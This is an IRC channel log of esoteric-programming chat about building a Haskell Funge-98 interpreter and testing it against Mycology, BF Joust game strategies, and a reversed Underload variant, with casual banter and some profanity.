14:45:29 <elliott> :t maybe
14:45:30 <lambdabot> forall b a. b -> (a -> b) -> Maybe a -> b
14:47:47 -!- asiekierka has joined.
14:50:01 -!- boily has joined.
14:52:56 <elliott> fpIns :: FPIns -> Shiro ()
14:52:57 <elliott> fpIns ins = do
14:52:57 <elliott> m <- gets fpInstructions
14:52:57 <elliott> head $ Map.findWithDefault [reflect] ins m
14:53:01 <elliott> bah
14:54:36 -!- poiuy_qwert has joined.
14:56:09 -!- poiuy_qwert has quit (Client Quit).
14:56:10 <elliott> Deewiant: What does Mycology expect NULL's instructions to do :P
14:56:33 <fizzie> I have a strange urge to say "gets is unsafe and harmful!" here.
14:57:04 -!- azaq23 has joined.
14:57:12 <Deewiant> ais has already said that about elliott's getses
14:57:28 <Deewiant> elliott: And reflect, what else
14:57:37 <elliott> Deewiant: ...What?
14:57:40 <elliott> No.
14:58:05 <elliott> Oh.
14:58:13 <Deewiant> Yes.
14:58:21 <elliott> fpRun NULL _ = return ()
14:58:23 <elliott> :D
14:58:41 <Sgeo> It's... weird listening to music that might not be appropriate for public
14:58:49 <Sgeo> [aka all music]
14:59:28 <elliott> What
14:59:33 <elliott> Module imports form a cycle for modules:
14:59:33 <elliott> Shiro.Fingerprints.NULL (./Shiro/Fingerprints/NULL.hs)
14:59:34 <elliott> imports: Shiro.Utils
14:59:34 <elliott> Shiro.Utils (./Shiro/Utils.hs)
14:59:34 <elliott> imports: Shiro.Fingerprints
14:59:34 <elliott> Shiro.Fingerprints (./Shiro/Fingerprints.hs)
14:59:36 <elliott> imports: Shiro.Fingerprints.NULL
14:59:38 <elliott> FUCKING
14:59:40 <elliott> GHC
14:59:42 <elliott> ARGH
15:00:26 <Sgeo> Got new earbuds
15:00:46 <Sgeo> Cost about as much as Minecraft
15:01:06 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:01:40 <Sgeo> So maybe I overpayed a little
15:01:45 <Sgeo> At least I have something
15:01:51 <elliott> And you still don't own Minecraft
15:01:55 <elliott> Also, "at least I have something"?
15:01:59 <elliott> Were you previously a monk?
15:02:19 <Sgeo> It's easier for me to pay for stuff IRL than online
15:02:52 <elliott> Right. Monks can't get cards. Plastic is against their religion.
15:06:36 <elliott> Deewiant: How does Mycology decide whether ( pushes the correct fingerprint?
15:06:46 <Deewiant> What do you mean?
15:06:53 <elliott> Testing fingerprint NULL...
15:06:54 <elliott> BAD: ( did not push correct fingerprint
15:07:32 <Deewiant> That refers to the encoding of 'NULL'
15:07:43 <Deewiant> 0x4e554c4c
15:08:17 <elliott> Deewiant: ( doesn't push the fingerprint does it
15:08:32 <Deewiant> Given the error message I would venture to suggest that it does
15:08:33 <elliott> Do you mean that ( reflected?
15:08:40 <elliott> ( then uses this fingerprint to locate and load a set of semantics for the instructions A to Z. If the Funge implementation cannot find the correct library for the given fingerprint, ( acts like r. If, however, the semantic library load is successful, the new fingerprint, then a 1, are pushed onto the stack (to be accepted by a subsequent ) instruction.)
15:08:42 <elliott> Ohhhh
15:08:50 <elliott> Reading is... difficult...
15:13:12 <elliott> "If, however, the semantic library load is successful, the new fingerprint, then a 1, are pushed onto the stack (to be accepted by a subsequent ) instruction.)"
15:13:18 <elliott> Deewiant: this implies that ) will pop a 1 -- discuss
15:13:35 <Deewiant> I don't see what there is to discuss
15:13:50 <Deewiant> Yes, if you give ) a 1, it will pop it :-P
15:14:46 <elliott> Deewiant: I mean, it will pop a 1, and then the count
15:14:55 <Deewiant> No, 1 is the count
15:14:59 <elliott> Ohhh, I see how that works.
15:15:01 <elliott> That' freaky-deaky.
15:15:02 <elliott> *That's
15:16:06 <elliott> NULL WORKS
15:16:08 <elliott> WOOOOOOOOOOOOOOOOOOOOOOOOO
15:19:14 -!- zzo38 has quit (Remote host closed the connection).
15:19:38 <sebbu> fingerprint ? do you try to load WSQ files ?
15:19:55 <elliott> Funge-98 fingerprints
15:20:03 -!- elliott has left (?).
15:20:07 -!- elliott has joined.
15:20:08 <elliott> whoops
15:25:18 <elliott> Deewiant: What does "C-language integer remainder" mean, IIRC C's modulo has undefined behaviour on the relevant cases here
15:25:28 <Deewiant> Correct
15:25:28 <elliott> Is it literally the remainder of (a/b) as an int in C?
15:25:36 <elliott> Or?
15:25:54 <Deewiant> I can't remember whether I went with C99 or UNDEF
15:25:58 <elliott> :D
15:26:00 <elliott> @check \x y -> (rem x y) == (x - (x `div` y) * y)
15:26:00 <lambdabot> "*Exception: divide by zero
15:26:08 <elliott> @check \x y -> y == 0 || (rem x y) == (x - (x `div` y) * y)
15:26:09 <lambdabot> "Falsifiable, after 8 tests:\n-6\n7\n"
15:26:14 <elliott> @check \x y -> y == 0 || (mod x y) == (x - (x `div` y) * y)
15:26:15 <lambdabot> "OK, passed 500 tests."
15:26:19 <Deewiant> @check \x y -> y == 0 || (rem x y) == (x - (x `quot` y) * y)
15:26:20 <lambdabot> "OK, passed 500 tests."
15:26:31 <elliott> :t quot
15:26:32 <lambdabot> forall a. (Integral a) => a -> a -> a
15:26:34 <elliott> > quot 1 2
15:26:39 <lambdabot> 0
15:26:55 <Deewiant> @check \x y -> quot x y == div x y
15:26:56 <lambdabot> "*Exception: divide by zero
15:27:02 <Deewiant> @check \x y -> y==0 || quot x y == div x y
15:27:03 <lambdabot> "Falsifiable, after 5 tests:\n-1\n3\n"
15:27:05 -!- copumpkin has joined.
15:27:44 <elliott> Who the fuck is Sam Holden
15:27:52 <Deewiant> :-D
15:28:11 <elliott> Why are we even implementing these half-written abominations >_<
15:29:01 <Sgeo> I'm considering inviting someone to this channel
15:29:26 <elliott> Don't
15:29:40 <Sgeo> We're friends on Facebook, but I have no access to his wall :/
15:29:54 <elliott> What's that got to do with #esoteric
15:30:06 <elliott> Deewiant: But seriously, what does U do?
15:30:16 <Sgeo> There's someone else I want to introduce to this channel then
15:30:27 <Deewiant> If it's the Sam Holden positive result one, I went with "always returns a positive result"
15:30:58 <Sgeo> "In the meantime, I'm working on some ideas I've had in operating systems, networking, and embedded AI."
15:31:09 <elliott> _Embedded_ AI?
15:31:28 <elliott> > mod (-2) (-3)
15:31:29 <lambdabot> -2
15:31:36 <elliott> Deewiant: So... the same as the % instruction?
15:31:39 <elliott> > rem (-2) (-3)
15:31:40 <lambdabot> -2
15:31:45 <elliott> Wait what.
15:31:50 <elliott> OK, I'll do ceiling of mod.
15:31:53 <elliott> Erm.
15:31:54 <elliott> Abs of mod.
15:31:59 <elliott> > mod 3 0
15:32:00 <lambdabot> *Exception: divide by zero
15:32:10 <Deewiant> mod uses the sign of the divisor, rem of the dividend
15:32:20 <Deewiant> C90 is undefined, C99 % uses the dividend
15:32:22 <elliott> I know that.
15:32:58 <elliott> haskell: 2090 (100.00%)
15:32:59 <elliott> Dayum
15:33:02 <elliott> oh
15:33:05 <elliott> that's counting the old copies :D
15:33:10 <elliott> haskell: 829 (100.00%)
15:33:52 <elliott> BAD: 0a-04-R doesn't push -2
15:33:52 <elliott> BAD: 0a-04-U doesn't push 2
15:33:52 <elliott> Hooray
15:33:57 <elliott> Deewiant: You assumed C99, btw.
15:34:31 <elliott> Deewiant: So anyway... Does loading a fingerprint in one IP load its instructions in all IPs? I bet no.
15:34:40 <elliott> Which is hilarious considering fingerprints can have global state ...
15:37:31 <Deewiant> Not that hilarious; you don't have to give them all access to the state just because one requested it
15:37:50 <elliott> HILARIOUS ENOUGH.
15:38:23 -!- Sgeo_ has joined.
15:39:03 <elliott> UNDEF: IVXLCDM didn't reflect: child IP has ROMA loaded
15:39:16 <elliott> Yay, it agrees with CCBI :P
15:39:52 -!- Sgeo has quit (Ping timeout: 255 seconds).
15:42:51 -!- boily has quit (Quit: leaving).
15:43:16 <elliott> Woot
15:43:28 <elliott> Full pass on Mycology apart from text-mode o output, including MODU/ROMA test
15:43:41 <elliott> All that's left now is oh so many fingerprints. And optimisation. And things.
15:45:02 <Deewiant> Do them in the order Mycology tests them; have fun with MODE
15:46:07 <elliott> Deewiant: But TOYS is pretty high on that list :P
15:46:08 <elliott> Earlier than TURT
15:46:32 <Deewiant> I suspect MODE will be more fun for you than TOYS
15:46:49 -!- Phantom_Hoover has joined.
15:46:54 <Deewiant> cfunge does TOYS, not MODE :-P
15:47:25 <elliott> Deewiant: Yeaaah, I don't even do the other two modes in MODE yet :P
15:47:37 <Deewiant> Other two?
15:47:42 <elliott> Deewiant: Une, tre.
15:47:58 <elliott> I want to get my Template Haskell fingerprint shiznit (technical term) going before I do any more.
15:48:10 <Deewiant> MODE doesn't do anything with une/tre
15:48:30 <elliott> Deewiant: Erm, what is it then?
15:48:44 <Deewiant> http://catseye.tc/projects/funge98/library/MODE.html
15:48:49 <elliott> x_x
15:48:57 <elliott> Ah yes, _that_ thing.
15:49:03 <Deewiant> You may want to view source due to use of <p> instead of <br> and then sending everything as application/xhtml+xml
15:49:14 <elliott> Deewiant: Technical term here -- "fuck you"
15:49:18 <elliott> I'll do that one before TRDS :P
15:49:23 <Deewiant> :-P
15:49:35 <Deewiant> I pretty much did them in the order Mycology tests them
15:49:57 <elliott> You did TOYS before the easy ones? :-P
15:50:04 <Deewiant> What easy ones?
15:50:10 <elliott> Like, uh, DATE.
15:50:11 <elliott> EVAR.
15:50:16 <elliott> TIME.
15:50:21 <Deewiant> Yes, I did all of Cat's Eye before moving on
15:50:46 <elliott> Deewiant: But at what point should I do MKRY?!
15:51:00 <Deewiant> DATE is new, it wasn't around when Mycology was released
15:51:04 <elliott> You need to test it. In Mycology.
15:51:06 <elliott> Who made DATE?
15:51:08 <Deewiant> Or was that the one that was in one Rc/Funge-98 readme but not the other
15:51:14 <Deewiant> And I had missed it
15:51:16 <Deewiant> Can't remember
15:51:18 <elliott> Who made the new one?
15:51:44 <Deewiant> DATE is just an Rc/Funge-98 fingerprint
15:52:27 <Deewiant> It may've been among the first new ones from Mike
15:53:25 <elliott> Who made the new one?
15:53:27 <elliott> :p
15:53:32 <elliott> Oh.
15:53:33 <elliott> Right.
15:53:36 <Deewiant> There is no "new one" :-P
15:53:53 <elliott> I wonder if RC/Funge will get a new update since the first one Susan made.
15:58:04 <Gregor> wtf@careless
15:58:09 <elliott> Gregor: ?
15:58:20 <Gregor> http://codu.org/eso/bfjoust/in_egobot/myndzi_careless.bfjoust
15:58:24 <Gregor> #1 on the hill
15:58:29 <ais523> just observed over email: someone sent my supervisor a Haskell program, he sent back a correction, the original author quoted the correction via email
15:58:39 <ais523> and it destroyed the indentation
15:58:47 <Gregor> lol
15:58:49 <ais523> yet another reason why indentation-sensitivity is a Bad Thing
15:59:11 <elliott> ais523: you mean people doing stupid things?
15:59:20 <Gregor> <indentationophiles> Yet another reason why EMAIL is a Bad Thing
15:59:21 <elliott> ais523: what kind of email client destroys spaces?
15:59:22 <ais523> elliott: the world isn't set up to work with it
15:59:28 <ais523> and I'm not sure, I'll look at the headers
15:59:32 <elliott> ais523: Works for me
15:59:38 -!- elliott has left (?).
15:59:40 -!- elliott has joined.
15:59:48 <elliott> Sending code via email in the expectation that it be modified and sent back is just weird
15:59:55 <ais523> Thunderbird, by the look of it
15:59:58 <elliott> That's not exactly a perfect code collaboration mechanism
16:00:01 <ais523> elliott: that wasn't the expectation
16:00:02 <Gregor> Explain why http://codu.org/eso/bfjoust/in_egobot/myndzi_careless.bfjoust is so good X-P
16:00:14 <elliott> ais523: Well, you could always replace all the indentation with {} blocks.
16:00:27 <ais523> Gregor: because it's using a different strategy to everything else, which is trivially easy to counter but nobody has bothered yet
16:00:33 <elliott> I value things like more readable code over email-friendliness, though.
16:01:07 <Deewiant> monorail beats it so it can't be that good
16:01:31 <ais523> !bfjoust beats_careless +++++
16:01:33 <Gregor> defend13 is pretty friggin' clever/scary
16:01:49 <ais523> thanks
16:02:13 <elliott> wow, defend13 has comments X-D
16:02:17 <elliott> Don't comments take ticks in BF Joust?
16:02:21 <ais523> I thought people might be interested in how it works
16:02:23 <ais523> and they don't
16:02:30 <ais523> well, invalid-command comments don't
16:02:43 <ais523> header comments do, and run the risk of accidentally being executed
16:02:46 <elliott> can someone link to report.txt?
16:02:52 <Deewiant> http://codu.org/eso/bfjoust/report.txt
16:02:56 <elliott> ais523: header comments?
16:03:01 <Gregor> "is a rush-based" lol
16:03:05 <Gregor> I see a - there ;)
16:03:09 <ais523> Gregor: whoops
16:03:10 <elliott> :D
16:03:17 <ais523> I don't think it makes /much/ difference at that location
16:03:24 <elliott> try removing it, i bet it does 500 times better!
16:03:30 <Gregor> Watch him fix that and suddenly it gets negative points and 11.3 score :P
16:03:37 <ais523> ais523_beats_careless.bfjoust vs myndzi_careless.bfjoust: <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< ais523_beats_careless.bfjoust wins
16:03:40 <ais523> nah, I'll leave it as-is
16:03:47 <ais523> and just fix it for defend14, when I come up with a different strategy
16:03:48 <elliott> what's ais523_death_to_no_ops doing?
16:03:49 <EgoBot> Score for ais523_beats_careless: 13.0
16:03:52 <ais523> EgoBot: killing no-ops
16:04:01 <elliott> <EgoBot> thanks
16:04:04 <elliott> I mean strategy
16:04:33 <ais523> umm, I can't remember, it was a throwaway program
16:04:38 <ais523> just a typical stupid rush
16:04:50 <Deewiant> 2011-02-08 23:32:05 ( ais523) !bfjoust death_to_no_ops (>)*8(>(-.)*256)*21
16:04:50 <Gregor> I'm glad that aiming for ONE major opponent isn't instant-hill-permanence.
16:05:03 <Gregor> Also, wow, you broke 60
16:05:06 <elliott> !bfjoust all_credit_to_ais523_defend13_tweaked_tinily http://sprunge.us/eRdS
16:05:14 <ais523> ah, right
16:05:14 <elliott> Gregor: "Broke 60"?
16:05:17 <elliott> oh
16:05:18 <elliott> wow
16:05:22 <elliott> how did you dod that :D
16:05:23 <elliott> *do
16:05:26 <elliott> by making careless worse?
16:05:28 <ais523> it wasn't even control flow, it's basically doing a full-tape clear
16:05:31 <elliott> so it counts less against defend13?
16:05:48 <ais523> elliott: I think it's more that it pushed a bad program that beat defend13 off the hill
16:05:58 <elliott> http://codu.org/eso/bfjoust/breakdown.txt
16:05:59 <elliott> err
16:06:00 <elliott> it hasn't lost yet
16:06:02 <EgoBot> Score for elliott_all_credit_to_ais523_defend13_tweaked_tinily: 57.6
16:06:05 <elliott> oh wait
16:06:06 <elliott> it never says loss
16:06:16 <elliott> ais523: I appear to have beaten you >_>
16:06:19 <ais523> I need to get rid of Gregor's mindbogglingly slow rushes, defense programs hate them
16:06:19 <elliott> ais523: I'll make it <
16:06:22 <elliott> ais523: and you can copy it to defend13
16:06:24 <elliott> if you want
16:06:27 <elliott> I just replaced the - with a space
16:06:30 <ais523> elliott: they score completely identical points
16:06:35 <elliott> oh, indeed
16:06:37 <ais523> which is not surprising given how it works
16:06:40 <elliott> I'll get rid of it
16:06:47 <elliott> !bfjoust all_credit_to_ais523_defend13_tweaked_tinily <
16:06:57 <EgoBot> Score for elliott_all_credit_to_ais523_defend13_tweaked_tinily: 0.0
16:07:14 <ais523> anyway, that - was in a section of code that's designed to just sit back and let the opponent do their thing
16:08:07 <ais523> defend13 uses three separate tripwires, which I think is some sort of record
16:08:28 <ais523> the first two have the same purpose, the only reason that there's two of them is in case the opponent misses tripping one of them
16:09:20 <elliott> ais523: when bfjoust first came out, I didn't think complicated programs could work, because they'd be too slow
16:09:24 <elliott> you've proved me wrong :)
16:09:38 <ais523> defend13 even has a (.)*128, IIRC
16:10:04 <ais523> the other thing defend13 does is use a different strategy on the two polarities
16:10:09 <elliott> ais523: I'm tempted to write a program that targets defend13 specifically
16:10:12 <ais523> each of which works well, but has a different weakness
16:10:15 <elliott> by making it think it's a different kind of strategy than it is
16:10:19 <elliott> but it'd probably lose to everything else
16:10:31 <elliott> ais523: hmm, you can tell what polarity you have?
16:10:35 <elliott> is it because -- and ++ are tested?
16:10:37 <ais523> no, of course not
16:10:47 <ais523> but you can tell which way your opponent changed your flag
16:10:48 <ais523> via timing
16:10:54 <elliott> i just realised you meant that, yeah
16:11:04 <ais523> defend13 actually has an offset clear detector
16:11:19 <ais523> back when I wrote defend9, offset clears weren't very common, so I had to use much more complex tricks
16:11:39 <ais523> nowadays, though, they're all over the place, and they're the easiest way of detecting polarity I know, because nobody goes ------[-]
16:12:39 <ais523> hmm, decoybooster's doing surprisingly well, it uses a similar strategy to 3pass
16:12:44 <ais523> just a little more defensive
16:12:47 -!- Phantom_Hoover has set topic: Actually #bfjoust | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:13:46 <ais523> Phantom_Hoover: it's #befunge too!
16:14:01 -!- Phantom_Hoover has set topic: Actually #bfjoust crossed with #befunge | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:14:07 <ais523> (actually, I think #befunge, or is it ##befunge, actually exists and was used a while ago, but ended up being merged into #esoteric; there's one for BF too, IIRC)
16:14:16 <ais523> (and one for Feather, which AFAIK Vorpal is still idling in)
16:14:31 <ais523> indeed, I just looked into #feather-lang
16:15:20 <ais523> theory: it's theoretically impossible to open-source a Feather interp, on the basis that the code would be obfuscated by definition
16:15:50 <elliott> heh
16:15:58 <Deewiant> Obfuscated open-source is still open-source
16:16:02 <elliott> Phantom_Hoover: <Whine>
16:16:06 <elliott> Deewiant: GPLv2 prohibited obfuscation
16:16:08 <ais523> not by certain definitions I've seen
16:16:19 <Phantom_Hoover> elliott, what?
16:16:23 <ais523> elliott: not directly; it requires you to use the version of the source that's most convenient to edit from
16:16:23 <elliott> Phantom_Hoover: Re topic
16:16:27 <Phantom_Hoover> Oh.
16:16:34 <ais523> so if there is non-obfuscated source, you have to provide that
16:16:49 <Phantom_Hoover> THIS CHANNEL HAS TOTALLY GONE DOWNHILL I AM LEAVING AND NEVER COMING BACK
16:16:51 -!- Phantom_Hoover has quit (Quit: Leaving).
16:16:52 <ais523> likewise, you can distribute GPLv2 binaries as the source (ditto GPLv3) if the program was originally written in machine code
16:17:17 -!- Vonlebio has joined.
16:17:25 <ais523> anyway, why is Phantom Hoover complaining about BF Joust? it's definitely an esolang
16:17:29 <Vonlebio> HEY GUYS I AM TOTALLY NEW HERE
16:18:18 <ais523> hmm, the whois doesn't match Phantom Hoover, so it must be someone new
16:18:38 <Vonlebio> YE:
16:18:41 <Vonlebio> *YEP
16:19:01 -!- azaq23 has quit (Quit: Leaving.).
16:19:14 <Vonlebio> So who is this Phantom_Hoover guy?
16:20:29 <elliott> ais523: btw, I know how to do lazy Underload really elegantly
16:20:49 <ais523> seen on reddit: someone finds that a load of businesses claim their phone number is 214-748-3647 due to trying to store it in MySQL
16:20:57 <ais523> (which saturates silently on integer overflow)
16:22:09 <Gregor> ... lolwut?
16:22:11 <elliott> ais523: INSUFFICIENT REACTION
16:22:19 <elliott> I've been thinking about it for days
16:22:28 <ais523> oh, I /cleared for reasons I can't remember
16:22:32 <ais523> and now have forgotten context
16:22:34 <elliott> <elliott> ais523: btw, I know how to do lazy Underload really elegantly
16:22:37 <ais523> oh, right
16:22:47 <ais523> I found a moderately elegant way to do it, but you might have found an even better way
16:23:00 <elliott> ais523: My way allows for output.
16:23:06 <pikhq> I'm pretty sure the only real way to handle a phone number is to normalize a string.
16:23:17 <pikhq> Especially if you want to handle international numbers.
16:23:17 <elliott> ais523: does yours?
16:23:35 <ais523> not elegantly
16:23:57 <elliott> ais523: once this implementation is semi-working, I'll fill you in on the details
16:23:59 <ais523> the inelegant way is to expand everything but : lazily (with S being semi-lazy and not executing until it reaches the front of the program)
16:24:20 <ais523> but it's not really proper laziness
16:24:23 <elliott> ais523: mine involves reversing the program, which turns Underload into a strange polish notation language
16:24:28 <elliott> which you can then evaluate normally in the normal way
16:24:29 <ais523> as you sometimes evaluate things over than S that are never used
16:24:32 <ais523> elliott: err, wow
16:24:37 <elliott> because if you see )x(, you know that the final stack starts with x, see?
16:24:44 <elliott> whereas, in unreversed underload, you can't know that
16:24:47 <elliott> because it could be popped later
16:24:51 <elliott> so this allows for greater laziness
16:24:52 <ais523> haha
16:25:00 <pikhq> Your phone system ought to be able to handle +44-0131-867-5309.
16:25:07 <elliott> ! just starts a comment or whatever, ignoring output
16:25:12 <elliott> well, comments out the next expression
16:25:13 <elliott> or rather
16:25:15 <elliott> ! takes two arguments
16:25:19 <elliott> and returns its second argument
16:25:30 <elliott> !)a()b( = b
16:25:31 <pikhq> Erm, +44-131-867-5309
16:25:47 <ais523> hmm, that would indicate the UK, but I'm not sure what 0131 would reference as an area code
16:25:57 <ais523> it's likely to be a major city, though, due to the 01x1 pattern
16:26:03 <pikhq> ais523: It's Jenny, in Edinburgh.
16:26:10 <elliott> ^ul (b)(a)*S
16:26:11 <fungot> ba
16:26:23 <ais523> pikhq: aha
16:26:28 <elliott> hmm, ^ is broken
16:26:39 <ais523> yep, the 8675309 is recognisable enough
16:26:44 <ais523> why Edinburgh, though?
16:27:03 <pikhq> Just a city that had 7 digit numbers.
16:27:23 <pikhq> And was on Wikipedia's article on phone numbers in the UK.
16:27:39 <Vonlebio> I definitely didn't tell him the number.
16:27:46 <ais523> all cities in the UK have 7 digit numbers
16:27:51 <ais523> apart from possibly London
16:28:04 <ais523> oh, or the ones with 5-digit area codes
16:28:12 <ais523> which have 6-digit numbers
16:28:28 <pikhq> ais523: Not really. Area codes, it seems, can be 3, 4, 5, or 6 digits.
16:28:39 <pikhq> (if you count the 0 trunk code)
16:28:56 <ais523> (London is large enough that it used to have two area codes, 0171 + 7 digits, 0181 + 7 digits; it was changed to 020 7 + 7 digits and 020 8 + 7 digits, respectively, with the 7 or 8 not really counting as part of the area code)
16:29:24 <elliott> ()(~(x)*~:^):^
16:29:33 <elliott> that's an underload program that ostensibly puts (xxxxxxxxx...) on the stack, yes?
16:29:35 <elliott> *no ()
16:29:49 <ais523> I think so, and it does need the ()
16:29:57 <pikhq> Cardiff also appears to have a 3-digit area code. 029-xxxx-xxxx.
16:30:01 <elliott> ais523: I mean, in my message
16:30:03 <elliott> <elliott> that's an underload program that ostensibly puts (xxxxxxxxx...) on the stack, yes?
16:30:05 <ais523> hmm, that must have changed recently
16:30:17 <elliott> *Main> prog
16:30:17 <elliott> "S^:)^:~*)x(~()("
16:30:18 <ais523> elliott: oh, stack notation is not really standardised
16:30:19 <elliott> let's see if it works
16:30:24 <ais523> I end to leave one set of parens in for stack elements
16:30:32 <elliott> *Main> next prog []
16:30:33 <elliott> ("*** Exception: rabble rabble
16:30:41 <elliott> cool, ) is broken :P
16:30:42 <ais523> also, ouch at not doing tr/()/)(/ when reversing the program
16:30:46 <ais523> it just looks ugly
16:30:47 <elliott> oh
16:30:53 <elliott> findprn "" = error "rabble rabble"
16:30:53 <elliott> findprn ('(':s) = ("",s)
16:30:54 <elliott> findprn (x:s) = (x:xs,s') where (xs,s') = findprn s
16:30:54 <elliott> spot stupid
16:31:05 <elliott> ais523: nah, I like to define ) as pushing up to the not-matching ( :-D
16:31:38 <ais523> elliott: "" is the same as [], and thus is always called as your base case
16:31:59 <ais523> err, no, you have a second base case
16:32:19 <ais523> hmm, there isn't an obvious stupid in that case
16:32:27 <elliott> ("*** Exception: beep
16:32:27 <elliott> hmm
16:32:29 <elliott> ais523: there is
16:32:31 <elliott> ais523: it doesn't handle nesting
16:32:41 <ais523> oh right, I wasn't sure if it was meant to
16:33:47 <elliott> ais523: fun fact: every Plunder (that's what I'm calling it) program starts, conceptually, with an infinite number of ()s
16:33:59 <elliott> (i.e. ends with an infinite number of )(s, when reversed)
16:34:07 <ais523> is Plunder actually a lang? or the name of an interp?
16:34:12 <elliott> ais523: a language
16:34:14 <ais523> as in, is it semantically different from Underload at all?
16:34:19 <elliott> pretty sure it is, yes
16:34:24 <elliott> I'm not sure if IO is reversed or not, but it might be
16:34:37 <elliott> actually, I think it is, in that (hello)S would produce olleh
16:34:39 <ais523> that'd be a pretty minor change
16:34:41 <elliott> becaues otherwise the infinite example wouldn't work
16:34:42 <elliott> *because
16:34:50 <elliott> ais523: yes, but the whole evaluation model is different, because:
16:34:56 <elliott> (bar)S(:^):^(foo)S
16:34:59 <elliott> ais523: this outputs oof, then hangs
16:35:21 <ais523> err, what?
16:35:29 <ais523> are programs actually evaluated back to front?
16:35:33 <elliott> ais523: yes, like I said
16:35:39 <ais523> I thought you were reversing them
16:35:45 <ais523> so the front would be evaluated first
16:35:54 <elliott> ais523: no, programs are written ()-style
16:35:56 <elliott> but evaluated )(-style
16:36:01 <ais523> ah
16:36:11 <ais523> so they're evaluated from the front, )( style
16:36:19 <elliott> yep
16:36:55 <elliott> *Main> let prog = reverse "()(~(x)*~:^):^S"
16:37:00 <elliott> *Main> next prog []
16:37:00 <elliott> ("","",["x"],["^:~*)x(~"])
16:37:00 <elliott> wait what
16:38:28 <elliott> oh, I think ^ is borkenified
16:38:47 -!- augur has quit (Remote host closed the connection).
16:39:45 <elliott> hmm, ah, umm... eh?
16:39:58 <elliott> oh
16:40:00 <elliott> ...ah
16:40:04 <elliott> ...but eh?
16:40:06 <elliott> oh!
16:40:21 <elliott> agh
16:41:17 <elliott> grr
16:41:30 <elliott> ais523: I'll fix it later, I'm going back to Shiro until I figure it out :P
16:42:06 -!- oerjan has joined.
16:42:54 <elliott> hi oerjan
16:42:59 <elliott> don't worry, the bug wasn't in your code :P
16:43:03 <oerjan> hi elliott
16:43:08 <oerjan> oh
16:43:12 -!- augur has joined.
16:43:33 <ais523> elliott: context?
16:43:38 <elliott> ais523: zipper queue
16:43:43 <ais523> aha
16:43:44 <elliott> for shiro IP list
16:43:54 <oerjan> <elliott> I will refrain from buying a domain then
16:43:56 <oerjan> heh
16:44:22 <ais523> I should have tried writing zipper lists in Mathematica when doing the Turing machine emulators
16:44:28 <oerjan> i'm not sure that's a very good reason :)
16:44:34 -!- augur has quit (Read error: Connection reset by peer).
16:44:35 <ais523> I couldn't figure out how to get it to run at a sensible speed at all, that might have helped
16:44:41 <oerjan> <elliott> we need a dnsbot :D
16:44:50 <oerjan> hm... let's check if we have one already
16:45:04 <elliott> we don't
16:45:06 <elliott> hackego's net is restricted
16:45:07 <oerjan> !sh host www.google.com
16:45:17 <elliott> egobot's is completely blocked :P
16:45:19 <EgoBot> /usr/bin/host: /usr/lib/plash/lib/libresolv.so.2: version `GLIBC_2.9' not found (required by /usr/lib64/libkrb5.so.3)
16:45:22 <oerjan> oh :(
16:45:32 -!- augur has joined.
16:45:49 <elliott> Deewiant: man, your fingerprint stuff is nicer than mine
16:45:57 <elliott> oerjan: haha, that's an egobot bug
16:46:14 <Deewiant> elliott: What do you mean
16:46:30 <elliott> Deewiant: The Fingerprint mixin
16:46:44 <Deewiant> Oh, sure, it's nice to use
16:46:55 <oerjan> elliott: we could probably get hackego to pass on the information from somewhere else
16:47:18 <oerjan> `run host www.google.com
16:47:19 <elliott> Deewiant: How do you do global/per-IP state, though? With a global and...?
16:47:43 <oerjan> hm is it slow or just not giving any output
16:47:52 <elliott> oerjan: it says No output.
16:47:54 <elliott> when there isn't any
16:47:55 <Deewiant> "Global" state is in the fingerprint's template, per-IP is just in the IP
16:47:56 <oerjan> hm right
16:48:06 <oerjan> `echo hi
16:48:11 <HackEgo> No output.
16:48:11 <HackEgo> hi
16:48:14 <elliott> Deewiant: so you can't add per-ip state without modifying core code? ha ha ha
16:48:20 <oerjan> well then
16:48:56 <Deewiant> elliott: I'd rather have a single byte than N bools for the various modes :-P
16:49:32 <elliott> Deewiant: Mr. Microoptimise
16:49:35 <elliott> Deewiant: But whaddya mean
16:49:43 <elliott> Deewiant: What if you have more than 8 IPs
16:49:45 <Vonlebio> http://www.guardian.co.uk/commentisfree/2011/feb/07/tax-city-heist-of-century
16:50:05 <oerjan> 14:27:47 <elliott> that's not perl oerjan
16:50:06 <oerjan> 14:27:50 <elliott> that's the old version
16:50:06 <oerjan> 14:27:53 <elliott> egojoust is in C
16:50:08 <Vonlebio> I haven't actually been angry about something political for quite some time, but that...
16:50:17 <oerjan> yeah i found out later once the other webpages loaded
16:50:22 <elliott> oerjan: :D
16:50:32 <elliott> Vonlebio: almost as bad as that time you stole the pope's hat
16:50:38 <Deewiant> elliott: I mean that each IP has 5 boolean modes it can be in (12 with TRDS, IIRC)
16:50:44 <Vonlebio> elliott, worse!
16:50:50 <Deewiant> And I'd rather use close to 1 bit than 1 byte for each of those
16:50:54 <oerjan> oh no, the evil Vonlebio is back!
16:51:16 <elliott> Deewiant: Right, so fingerprints can't be plugged in, they're tightly-integrated with the core.
16:51:27 <Deewiant> Most fingerprints can be, but not all can.
16:51:28 <elliott> Deewiant: Oh, what's that? Your architecture is so crap that they take up space even if the fingerprint isn't loaded?
16:51:29 <elliott> CUTE
16:51:32 <elliott> (I'm just mocking you.)
16:51:34 <Deewiant> No they don't.
16:51:43 <elliott> Eh?
16:51:52 <Deewiant> Anything that affects the core is versioned.
16:52:09 <Deewiant> You can disable any fingerprint at compile time and it'll add no overhead.
16:52:12 <elliott> Deewiant: I mean that a program which doesn't use TRDS still gets the overhead.
16:52:20 <elliott> Being able to stop that at compile-time is irrelevant :P
16:52:24 <oerjan> elliott: now you have to add _actual_ plugin support :D
16:52:39 <elliott> oerjan: like runtime-loadable fingerprints?
16:52:44 <oerjan> elliott: yeah
16:53:03 <Deewiant> Well yes, but that's because it's still less overhead than having something like a PerIPFingerprintState[] in each IP which is only filled in if needed
16:53:05 <elliott> oerjan: unfortunately I don't think GHC is very good at pluginy things, the closest you can get is an experience like using the FFI
16:53:10 <oerjan> shouldn't be too hard with what you have now + whatever people use for plugins these days
16:53:11 <elliott> if that
16:53:29 <elliott> oerjan: and my fingerprint system involves type classes, type families, and existential quantification, so that would suck
16:53:33 <Deewiant> Although I suppose it might not always be, but in any case, the overhead is negligible
